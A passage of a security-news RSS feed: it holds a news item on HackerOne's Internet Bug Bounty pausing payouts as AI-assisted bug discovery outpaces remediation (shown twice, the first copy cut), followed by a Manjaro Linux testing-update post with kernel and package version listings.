<p>The Internet Bug Bounty program, funded by a number of leading software companies, has been run since 2012 and has awarded more than $1.5m to researchers who have reported bugs. Up to now, 80% of its payouts have been for discoveries of new flaws, and 20% to support remediation efforts. But as artificial intelligence makes it easier to find bugs, that balance needs to change, <a href="https://hackerone.com/ibb?type=team" target="_blank" rel="noreferrer noopener">HackerOne said in a statement</a>.</p>



<p>“AI-assisted research is expanding vulnerability discovery across the ecosystem, increasing both coverage and speed. The balance between findings and remediation capacity in open source has substantively shifted,” said HackerOne.</p>



<p>Among the first programs to be affected is the <a href="https://www.infoworld.com/article/2253639/the-complete-guide-to-nodejs-frameworks.html">Node.js project</a>, a server-side JavaScript platform for web applications known for its extensive ecosystem. While the project team will continue to accept and triage bug reports through HackerOne, without funding from the Internet Bug Bounty program it will no longer pay out rewards, according to <a href="https://nodejs.org/fr/blog/announcements/discontinuing-security-bug-bounties" target="_blank" rel="noreferrer noopener">an announcement on its website</a>.</p>



<p>The Internet Bug Bounty Program is not the only bug-hunting project that has struggled with the onset of AI in vulnerability hunting. In January, <a href="https://www.csoonline.com/article/4120215/ai-junk-causes-curl-to-stop-paying-bug-hunters.html">the Curl program said</a> that it was not taking any more submissions. And just last month, <a href="https://www.infoworld.com/article/4148197/stop-using-ai-to-submit-bug-reports-says-google.html">Google also put a halt to AI-generated submissions</a> provided to its Open Source Software Vulnerability Reward Program.</p>



<p></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Internet Bug Bounty program hits pause on payouts]]></title>
<description><![CDATA[Researchers who identify and report bugs in open-source software will no longer be rewarded by the Internet Bug Bounty team. HackerOne, which administers the program, has said that it is “pausing submissions” while it contemplates ways in which open source security can be handled more effectively...]]></description>
<link>https://tsecurity.de/de/3406074/it-security-nachrichten/internet-bug-bounty-program-hits-pause-on-payouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3406074/it-security-nachrichten/internet-bug-bounty-program-hits-pause-on-payouts/</guid>
<pubDate>Fri, 03 Apr 2026 19:37:04 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Researchers who identify and report bugs in open-source software will no longer be rewarded by the Internet Bug Bounty team. HackerOne, which administers the program, has said that it is “pausing submissions” while it contemplates ways in which open source security can be handled more effectively.</p>



<p>The Internet Bug Bounty program, funded by a number of leading software companies, has been run since 2012 and has awarded more than $1.5m to researchers who have reported bugs. Up to now, 80% of its payouts have been for discoveries of new flaws, and 20% to support remediation efforts. But as artificial intelligence makes it easier to find bugs, that balance needs to change, <a href="https://hackerone.com/ibb?type=team" target="_blank" rel="noreferrer noopener">HackerOne said in a statement</a>.</p>



<p>“AI-assisted research is expanding vulnerability discovery across the ecosystem, increasing both coverage and speed. The balance between findings and remediation capacity in open source has substantively shifted,” said HackerOne.</p>



<p>Among the first programs to be affected is the <a href="https://www.infoworld.com/article/2253639/the-complete-guide-to-nodejs-frameworks.html">Node.js project</a>, a server-side JavaScript platform for web applications known for its extensive ecosystem. While the project team will continue to accept and triage bug reports through HackerOne, without funding from the Internet Bug Bounty program it will no longer pay out rewards, according to <a href="https://nodejs.org/fr/blog/announcements/discontinuing-security-bug-bounties" target="_blank" rel="noreferrer noopener">an announcement on its website</a>.</p>



<p>The Internet Bug Bounty Program is not the only bug-hunting project that has struggled with the onset of AI in vulnerability hunting. In January, <a href="https://www.csoonline.com/article/4120215/ai-junk-causes-curl-to-stop-paying-bug-hunters.html">the Curl program said</a> that it was not taking any more submissions. And just last month, <a href="https://www.infoworld.com/article/4148197/stop-using-ai-to-submit-bug-reports-says-google.html">Google also put a halt to AI-generated submissions</a> provided to its Open Source Software Vulnerability Reward Program.</p>



<p><em>This article first appeared on <a href="https://www.infoworld.com/article/4154210/internet-bug-bounty-program-hits-pause-on-payouts.html">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[[Testing Update] 2026-03-31 - Linux 7.0-rc6, Thunderbird, Deepin, Freecad, Wireplumber, haskell]]></title>
<description><![CDATA[Hello Manjaro user community, here we have another set of package updates. This might mark the start of the development cycle of the upcoming ‘Bian-May’ release series. With this we aim to update the default kernel to 7.0 series. Also there will be Plasma 6.6 series, KDE Gears 26.04 and GNOME 50 ...]]></description>
<link>https://tsecurity.de/de/3394814/unix-server/testing-update-2026-03-31-linux-70-rc6-thunderbird-deepin-freecad-wireplumber-haskell/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3394814/unix-server/testing-update-2026-03-31-linux-70-rc6-thunderbird-deepin-freecad-wireplumber-haskell/</guid>
<pubDate>Tue, 31 Mar 2026 06:00:52 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div data-theme-toc="true"> </div>
<p>Hello Manjaro user community, here we have another set of package updates. This might mark the start of the development cycle of the upcoming ‘Bian-May’ release series. With this we aim to update the default kernel to <a href="https://www.heise.de/en/news/Linux-Torvalds-starts-development-of-Kernel-7-0-11186358.html">7.0</a> series. Also there will be <a href="https://kde.org/announcements/plasma/6/6.6.0/">Plasma 6.6</a> series, <a href="https://community.kde.org/Schedules/KDE_Gear_26.04_Schedule">KDE Gears 26.04</a> and <a href="https://release.gnome.org/50/">GNOME 50</a> release series. XFCE will stay at <a href="https://www.xfce.org/about/tour420">4.20</a> this release cycle. A release of ‘Bian-May’ can be expected end of April, beginning of May. Let us know any issues you may found thus far …</p>
<h3><a name="p-850257-current-promotions-1" class="anchor" href="https://forum.manjaro.org/#p-850257-current-promotions-1" aria-label="Heading link"></a>Current Promotions</h3>
<ul>
<li>Get the latest Gaming Laptop by Slimbook powered by Manjaro: <a href="https://slimbook.com/manjaro">Slimbook Manjaro III</a></li>
<li>Protect your personal data, keep yourself safe with Surfshark VPN: <a href="https://get.surfshark.net/aff_c?offer_id=6&amp;aff_id=14558-">See current promotion</a></li>
</ul>
<h2><a name="p-850257-recent-news-2" class="anchor" href="https://forum.manjaro.org/#p-850257-recent-news-2" aria-label="Heading link"></a>Recent News</h2>

New in Manjaro GNOME!
Or, if you prefer the command line: <a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-thunderbird-deepin-freecad-wireplumber-haskell/186720/1">(click for more details)</a>

KDE Plasma users with SDDM can now migrate to Plasma Login Manager <a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-thunderbird-deepin-freecad-wireplumber-haskell/186720/1">(click for more details)</a>

NVIDIA 590 driver drops Pascal support <a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-thunderbird-deepin-freecad-wireplumber-haskell/186720/1">(click for more details)</a>
<ul>
<li><a href="https://forum.manjaro.org/t/manjaro-26-0-anh-linh-released/184526" class="inline-onebox">Manjaro 26.0 Anh-Linh released</a></li>
<li><a href="https://forum.manjaro.org/t/manjaro-summit-public-alpha-now-available/176995" class="inline-onebox">Manjaro Summit public Alpha now available</a></li>
<li>As of Linux 5.4.302, the 5.4 series is now EOL (End Of Life). Please install 5.10 LTS (Long Term Support) or 5.15 LTS.</li>
<li>As of Linux 6.16.12, the 6.16 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
<li>As of Linux 6.17.13, the 6.17 series is now EOL (End Of Life). Please install 6.18 LTS (Long Term Support) and/or 6.12 LTS.</li>
</ul>

Previous News
Finding information easier about Manjaro <a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-thunderbird-deepin-freecad-wireplumber-haskell/186720/1">(click for more details)</a>
<h2><a name="p-850257-notable-package-updates-3" class="anchor" href="https://forum.manjaro.org/#p-850257-notable-package-updates-3" aria-label="Heading link"></a>Notable Package Updates</h2>
<ul>
<li><strong>Kernel</strong> 7.0 got updated to <a href="https://lore.kernel.org/lkml/CAHk-=wgLvq1LucHhxjiPwDBkMRk=54Zh=-FmUdevXJyHygc=9A@mail.gmail.com/T/#u">7.0-rc6</a></li>
<li><strong>Thunderbird</strong> <a href="https://www.thunderbird.net/thunderbird/149.0.1/releasenotes/">149.0.1</a></li>
<li>Some updates to <strong>Deepin</strong></li>
<li><strong>freecad</strong> <a href="https://blog.freecad.org/2026/03/25/freecad-version-1-1-released/">1.1.0</a></li>
<li>Rebuilds and updates to <strong>haskell</strong></li>
<li><strong>wireplumber</strong> <a href="https://gitlab.com/pipewire/wireplumber/-/blob/07e730b279ac7a520699ae9f6b0797848a731b30/NEWS.rst">0.5.14</a></li>
</ul>
<h2><a name="p-850257-additional-info-4" class="anchor" href="https://forum.manjaro.org/#p-850257-additional-info-4" aria-label="Heading link"></a>Additional Info</h2>

Python 3.14 info <a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-thunderbird-deepin-freecad-wireplumber-haskell/186720/1">(click for more details)</a>

Info about AUR packages <a href="https://forum.manjaro.org/t/testing-update-2026-03-31-linux-7-0-rc6-thunderbird-deepin-freecad-wireplumber-haskell/186720/1">(click for more details)</a>
<p>Get our latest daily developer images now from Github: <a href="https://github.com/manjaro-plasma/download/releases">Plasma</a>, <a href="https://github.com/manjaro-gnome/download/releases">GNOME</a>, <a href="https://github.com/manjaro-xfce/download/releases">XFCE</a>. You can get the latest <a href="https://manjaro.org/download">stable releases</a> of Manjaro from <a href="https://cdn77.com/">CDN77</a>.</p>
<hr>
<p><strong>Our current supported kernels</strong></p>
<ul>
<li>linux510 5.10.252</li>
<li>linux515 5.15.202</li>
<li>linux61 6.1.167</li>
<li>linux66 6.6.130</li>
<li>linux612 6.12.78</li>
<li>linux618 6.18.20</li>
<li>linux619 6.19.10</li>
<li>linux70 7.0.0rc6</li>
<li>linux61-rt 6.1.166_rt61</li>
<li>linux66-rt 6.6.129_rt70</li>
<li>linux612-rt 6.12.74_rt16</li>
<li>linux617-rt 6.17.5_rt7</li>
</ul>
<p><strong>Package Changes</strong> (3/31/26 05:17 CEST)</p>
<ul>
<li>testing core x86_64:  3 new and 3 removed package(s)</li>
<li>testing extra x86_64:  1131 new and 1127 removed package(s)</li>
<li>testing multilib x86_64:  8 new and 8 removed package(s)</li>
</ul>
<pre><code class="lang-auto">:: Different overlay package(s) in repository core x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-03-28           2026-03-31
-------------------------------------------------------------------------------
                             linux70           7.0.0rc5-1           7.0.0rc6-1
                     linux70-headers           7.0.0rc5-1           7.0.0rc6-1


:: Different sync package(s) in repository core x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-03-28           2026-03-31
-------------------------------------------------------------------------------
                                file               5.47-1               5.47-2


:: Different overlay package(s) in repository extra x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-03-28           2026-03-31
-------------------------------------------------------------------------------
                             discord          1:0.0.131-1                    -
                   linux70-acpi_call            1.2.2-0.5            1.2.2-0.6
                    linux70-bbswitch              0.8-0.5              0.8-0.6
                 linux70-broadcom-wl     6.30.223.271-0.5     6.30.223.271-0.6
                linux70-nvidia-470xx       470.256.02-0.5       470.256.02-0.6
                 linux70-nvidia-open        595.58.03-0.1        595.58.03-0.2
                       linux70-r8168         8.056.02-0.5         8.056.02-0.6
                   linux70-rtl8723bu         20250813-0.5         20250813-0.6
                    linux70-tp_smapi             0.45-0.5             0.45-0.6
                 linux70-vhba-module         20250329-0.5         20250329-0.6
     linux70-virtualbox-host-modules            7.2.6-0.5            7.2.6-0.6
                         linux70-zfs            2.4.1-0.5            2.4.1-0.6


:: Different sync package(s) in repository extra x86_64

-------------------------------------------------------------------------------
                             PACKAGE           2026-03-28           2026-03-31
-------------------------------------------------------------------------------
                          abseil-cpp         20250814.1-1         20260107.1-1
                               afl++              4.35c-2              4.40c-1
                                agda          2.6.4.3-119          2.6.4.3-121
                          aliyun-cli              3.2.9-1              3.3.3-1
                              allure         0.11.0.0-317         0.11.0.0-320
                          amdgpu_top             0.11.2-1             0.11.3-1
                       android-tools            35.0.2-23            35.0.2-24
                          apache-orc              2.3.0-2              2.3.0-3
                                apko             1.1.16-1              1.2.0-1
                               arbtt         0.12.0.3-185         0.12.0.3-187
                             arch-hs            0.12.1-66            0.12.1-70
                      argo-workflows              4.0.2-1              4.0.3-1
                               arrow             23.0.1-2             23.0.1-3
                             astroid               0.17-8               0.17-9
                           astroterm             1.0.10-1              1.1.0-1
                           aws-vault              7.9.7-1             7.9.13-1
                              azcopy            10.32.1-1            10.32.2-1
                       bbswitch-dkms              0.8-806              0.8-807
                       bcachefs-dkms           3:1.37.3-1           3:1.37.4-1
                      bcachefs-tools           3:1.37.3-1           3:1.37.4-1
                               beets              2.7.1-1              2.8.0-1
                               bftpd                6.3-1                6.6-1
                              bloaty               1.1-22               1.1-23
                            bpftrace             0.25.0-1             0.25.1-1
                                brat              0.9.0-2             0.10.0-1
                                 bun             1.3.11-1             1.3.11-2
                               byobu               6.14-1               6.15-1
                       cabal-install          3.10.3.0-15          3.10.3.0-18
                          cabal-plan          0.7.3.0-128          0.7.3.0-130
                      cargo-binstall             1.17.8-2             1.17.9-1
                         cargo-insta             1.47.0-1             1.47.2-1
                        cargo-update             18.2.0-2             19.0.1-1
                             castxml              0.7.0-1              0.7.0-2
                           cbor-tool          0.2.3.0-124          0.2.3.0-126
                              ccache             4.13.1-1             4.13.2-1
                               cgrep             8.1.0-94             8.1.0-97
                              chatty              0.8.9-1              0.8.9-2
                          cherrytree              1.6.3-1              1.6.3-2
                           clash-ghc             1.8.2-97            1.8.2-100
                          cockatrice             2.10.3-1             2.10.3-2
                               crash              9.0.1-1              9.0.1-2
                             cryptol             3.3.0-47             3.3.0-50
                                 cue             0.15.4-1             0.16.0-1
                    curl-impersonate              1.5.1-1              1.5.2-1
                                cyme             2.2.11-2              2.3.0-1
                               darcs           2.18.5-191           2.18.5-194
                             dbeaver             26.0.0-1             26.0.1-1
                     deepin-anything             6.2.11-1              7.0.0-2
                deepin-anything-dkms             6.2.11-1              7.0.0-2
                          deepin-api             6.0.35-1             6.0.37-1
                 deepin-app-services             1.0.40-1             1.0.41-1
          deepin-application-manager             1.2.42-1             1.2.44-1
                     deepin-calendar             6.5.17-1             6.5.18-1
                    deepin-clipboard              6.1.7-1              6.1.8-1
                   deepin-compressor              6.5.9-1             6.5.11-1
               deepin-control-center             6.1.13-1             6.1.15-1
                       deepin-daemon             6.1.46-4             6.1.49-1
                deepin-desktop-theme             1.1.16-1             1.1.18-1
             deepin-device-formatter           0.0.1.18-2              1.5.1-1
                         deepin-draw             6.5.25-1             6.5.26-1
                       deepin-editor             6.5.41-1             6.5.42-1
                 deepin-grand-search              5.4.7-3              5.4.9-1
                    deepin-launchpad             2.0.25-3             2.0.26-1
                        deepin-movie          1:5.10.45-1          1:5.10.46-1
                 deepin-network-core             2.0.42-1             2.0.43-1
               deepin-qt5integration             5.7.30-2             6.7.31-1
          deepin-qt5platform-plugins             5.7.30-2             6.7.31-1
               deepin-qt6integration             6.0.48-3             6.7.31-1
          deepin-qt6platform-plugins             6.0.48-3             6.7.31-1
                  deepin-screensaver             5.0.19-2             5.0.20-1
                     deepin-services             1.0.19-1             1.0.21-1
                      deepin-session             2.0.15-2             2.0.17-1
                        deepin-shell             2.0.27-3             2.0.29-1
               deepin-system-monitor             6.5.19-2             6.5.21-1
                     deepin-terminal             6.5.28-3             6.5.29-1
                  deepin-tray-loader             2.0.24-3             2.0.26-1
                        deepin-turbo            0.0.6.2-1            0.0.6.3-1
                     deepin-util-dfm             1.2.29-1             1.2.31-1
                   deepin-wallpapers            1:1.7.8-1           1:1.7.14-1
                      deepin-widgets             6.0.18-2             6.0.20-1
                               dhall            1.42.3-45            1.42.3-48
                          dhall-bash           1.0.41-176           1.0.41-180
                          dhall-docs           1.0.12-168           1.0.12-171
                          dhall-json           1.7.12-172           1.7.12-175
                    dhall-lsp-server            1.1.4-102            1.1.4-106
                          dhall-yaml           1.2.12-177           1.2.12-180
                       diff-so-fancy              1.4.6-1              1.4.8-1
                          diffoscope                313-1                315-1
                             discord          1:0.0.130-1          1:0.0.131-1
                             dovecot              2.4.3-1              2.4.3-2
                               drone             2.28.0-1             2.28.1-1
                           drone-oss             2.28.0-1             2.28.1-1
                            dtk6core           1:6.7.32-2           1:6.7.33-1
                     dtk6declarative           1:6.7.32-2           1:6.7.33-1
                             dtk6gui           1:6.7.32-2           1:6.7.33-1
                             dtk6log             6.7.32-2             6.7.33-1
                          dtk6widget           1:6.7.32-2           1:6.7.33-1
                             dtkcore           1:6.7.32-2           1:6.7.33-1
                      dtkdeclarative           1:6.7.32-2           1:6.7.33-1
                              dtkgui           1:6.7.32-2           1:6.7.33-1
                              dtklog             6.7.32-2             6.7.33-1
                           dtkwidget           1:6.7.32-2           1:6.7.33-1
                               dunst             1.13.1-1             1.13.2-1
                         easyeffects              8.1.7-1              8.1.8-1
                              emptty             0.16.0-1             0.16.1-1
               evolution-data-server             3.58.3-1             3.58.3-2
          evolution-data-server-docs             3.58.3-1             3.58.3-2
                  falcosecurity-libs             0.20.0-9             0.23.1-1
                           fastfetch             2.60.0-1             2.61.0-1
           firefox-developer-edition            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-ach            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-af            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-an            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ar            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-ast            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-az            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-be            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-bg            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-bn            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-br            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-bs            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ca            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-ca-valencia      150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-cak            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-cs            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-cy            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-da            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-de            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-dsb            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-el            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-en-ca            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-en-gb            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-en-us            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-eo            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-es-ar            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-es-cl            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-es-es            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-es-mx            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-et            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-eu            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-fa            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ff            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-fi            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-fr            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-fur            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-fy-nl            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-ga-ie            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-gd            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-gl            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-gn            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-gu-in            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-he            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-hi-in            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-hr            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-hsb            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-hu            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-hy-am            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ia            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-id            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-is            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-it            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ja            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ka            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-kab            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-kk            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-km            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-kn            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ko            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-lij            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-lt            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-lv            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-mk            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-mr            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ms            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-my            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-nb-no            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-ne-np            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-nl            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-nn-no            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-oc            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-pa-in            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-pl            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-pt-br            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-pt-pt            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-rm            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ro            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ru            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-sat            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-sc            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-sco            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-si            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-sk            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-skr            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-sl            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-son            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-sq            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-sr            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-sv-se            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-szl            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ta            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-te            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-tg            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-th            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-tl            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-tr            150.0b2-1            150.0b3-1
  firefox-developer-edition-i18n-trs            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-uk            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-ur            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-uz            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-vi            150.0b2-1            150.0b3-1
   firefox-developer-edition-i18n-xh            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-zh-cn            150.0b2-1            150.0b3-1
firefox-developer-edition-i18n-zh-tw            150.0b2-1            150.0b3-1
                             freecad             1.0.2-10              1.1.0-2
                      freeciv-common              3.2.2-6              3.2.4-1
                        freeciv-gtk3              3.2.2-6              3.2.4-1
                        freeciv-gtk4              3.2.2-6              3.2.4-1
                          freeciv-qt              3.2.2-6              3.2.4-1
                           ft2-clone               2.12-1               2.13-1
                                 gdb               17.1-2               17.1-3
                          gdb-common               17.1-2               17.1-3
                                gegl             0.4.68-1             0.4.70-1
                          gemini-cli           1:0.35.2-1           1:0.35.3-1
                                gimp              3.2.0-1              3.2.2-1
                           git-annex       10.20251215-14       10.20251215-19
                           git-delta             0.19.1-1             0.19.2-1
                          git-repair       1.20230814-189       1.20230814-190
                               gitit         0.15.1.2-121         0.15.1.2-127
                             glances              4.5.2-2              4.5.3-1
                               glirc            2.40.1-70            2.40.1-74
           globalprotect-openconnect              2.5.1-2              2.5.1-3
                                  gn    0.2324.304bbef6-1    0.2324.304bbef6-2
                      gnuradio-iqbal             0.38.3-2             0.38.3-3
                       golangci-lint             2.11.3-1             2.11.4-1
                         google-glog              0.7.1-1              0.7.1-2
                                grpc             1.78.1-2             1.80.0-1
                            grpc-cli             1.78.1-2             1.80.0-1
                                gvim           9.2.0204-2           9.2.0272-1
                              hamlib              4.6.5-3              4.7.0-1
                           hardinfo2             2.2.16-1             2.2.16-2
                 haskell-adjunctions            4.4.3-102              4.4.4-1
                       haskell-aeson            2.2.1.0-5            2.2.1.0-7
         haskell-aeson-better-errors           0.9.1.3-73           0.9.1.3-75
                haskell-aeson-casing          0.2.0.0-233          0.2.0.0-235
                  haskell-aeson-diff         1.1.0.13-267         1.1.0.13-269
                haskell-aeson-pretty           0.8.10-150           0.8.10-152
                    haskell-aeson-qq            0.8.4-335            0.8.4-337
        haskell-aeson-warning-parser             0.1.1-89             0.1.1-91
                  haskell-aeson-yaml          1.1.0.1-349          1.1.0.1-351
                haskell-apply-refact          0.14.0.0-63          0.14.0.0-64
                    haskell-arch-web             0.3.2-54             0.3.2-58
                    haskell-arithmoi          0.13.2.0-32          0.13.2.0-35
            haskell-attoparsec-aeson            2.2.0.0-7            2.2.0.0-9
                haskell-authenticate          1.3.5.2-250          1.3.5.2-253
          haskell-authenticate-oauth              1.7-373              1.7-375
                         haskell-aws             0.24.2-9            0.24.2-12
              haskell-binary-conduit            1.3.1-588            1.3.1-590
            haskell-binary-instances            1.0.4-161            1.0.4-163
               haskell-binary-tagged            0.3.1-332            0.3.1-334
                      haskell-bitvec           1.1.5.0-43           1.1.5.0-45
                  haskell-bower-json          1.1.0.0-229          1.1.0.0-231
                  haskell-breakpoint           0.1.4.0-20            0.1.5.0-1
                     haskell-butcher          1.3.3.2-508          1.3.3.2-510
                    haskell-bv-sized             1.0.6-96             1.0.6-99
                  haskell-byte-order          0.1.3.1-161          0.1.3.1-163
   haskell-bytestring-strict-builder           0.4.5.8-76           0.4.5.8-78
       haskell-cabal-install-parsers           0.6.1.1-12           0.6.1.1-16
                 haskell-casa-client             0.0.3-32             0.0.3-36
                  haskell-casa-types             0.0.3-24             0.0.3-27
                       haskell-cborg          0.2.10.0-86          0.2.10.0-88
                  haskell-cborg-json          0.2.6.0-101          0.2.6.0-103
                  haskell-cheapskate          0.1.1.2-861          0.1.1.2-864
                    haskell-checkers            0.6.0-257            0.6.0-258
                     haskell-chimera          0.4.1.0-144          0.4.1.0-146
                          haskell-ci            0.16.6-48            0.16.6-52
                    haskell-citeproc           0.8.1.1-84           0.8.1.1-86
                   haskell-clash-lib             1.8.2-97            1.8.2-100
               haskell-clash-prelude             1.8.2-89             1.8.2-92
              haskell-classy-prelude           1.5.0.3-81           1.5.0.3-84
                haskell-coinbase-pro          0.9.3.2-435          0.9.3.2-439
       haskell-commonmark-extensions            0.2.5.6-5            0.2.5.6-6
           haskell-commonmark-pandoc           0.2.2.3-46           0.2.2.3-48
                     haskell-concise          0.1.0.1-660          0.1.0.1-662
                     haskell-conduit          1.3.6.1-133          1.3.6.1-135
               haskell-conduit-extra             1.3.8-76             1.3.8-78
               haskell-conduit-parse          0.2.1.1-311          0.2.1.1-313
               haskell-config-schema          1.3.0.0-234          1.3.0.0-236
          haskell-constraints-extras           0.4.0.2-54           0.4.0.2-56
               haskell-contravariant              1.5.5-6              1.5.6-1
        haskell-contravariant-extras            0.3.5.4-6            0.3.5.4-7
                   haskell-criterion           1.6.3.0-47           1.6.3.0-49
       haskell-criterion-measurement           0.2.3.0-57           0.2.3.0-59
             haskell-crypton-conduit            0.2.3-219            0.2.3-221
          haskell-crypton-connection             0.4.5-26             0.4.5-28
          haskell-cryptonite-conduit            0.2.2-792            0.2.2-794
                         haskell-dav            1.3.4-874            1.3.4-879
                        haskell-dbus             1.3.3-73             1.3.3-76
               haskell-dbus-hslogger          0.1.0.1-676          0.1.0.1-679
              haskell-deferred-folds           0.9.18.8-2           0.9.18.8-4
        haskell-dense-linear-algebra          0.1.0.0-444          0.1.0.0-446
               haskell-dependent-map            0.4.0.1-9           0.4.0.1-11
               haskell-dependent-sum          0.7.2.0-219          0.7.2.0-221
      haskell-dependent-sum-template           0.2.0.2-17           0.2.0.2-19
                       haskell-deque          0.4.4.2-114          0.4.4.2-116
              haskell-deriving-aeson           0.2.10-131           0.2.10-133
                      haskell-docopt          0.7.0.8-151          0.7.0.8-153
                haskell-doctemplates          0.11.0.1-76          0.11.0.1-78
            haskell-doctest-discover          0.2.0.0-213          0.2.0.0-215
